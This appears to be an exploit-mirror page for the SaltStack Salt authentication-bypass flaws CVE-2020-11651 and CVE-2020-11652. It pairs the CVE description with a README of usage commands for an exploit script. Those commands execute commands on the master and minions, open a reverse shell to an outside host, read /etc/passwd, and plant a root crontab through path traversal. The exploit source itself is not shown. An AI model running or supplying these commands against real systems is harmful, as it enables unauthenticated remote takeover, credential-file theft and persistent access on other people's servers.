CVE-2020-11651 PoC — SaltStack Salt 安全漏洞

Source

https://github.com/5l1v3r1/SaltStack-Exp-1

Associated Vulnerability

Title:SaltStack Salt 安全漏洞 (CVE-2020-11651)
Description:An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions.

Description

CVE-2020-11651&&CVE-2020-11652 EXP

Readme

# SaltStack-Exp
CVE-2020-11651&amp;&amp;CVE-2020-11652 EXP

```
Exec-Master:
python exp.py --exec-choose master --exec-cmd "whoami"

Exec-Minions:
python exp.py --exec-choose minions --exec-cmd "whoami"

GetShell:
python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444

ReadFile:
python exp.py --read /etc/passwd

UploadFile:
python exp.py --upload-src "/test/root" --upload-dest "../../../../../../../../var/spool/cron/crontabs/root"
```

File Snapshot


 [4.0K]  /data/pocs/7e62488d78efe2a9c68ddc4c1658d40b835f3561
├── [6.7K]  exp.py
└── [ 439]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!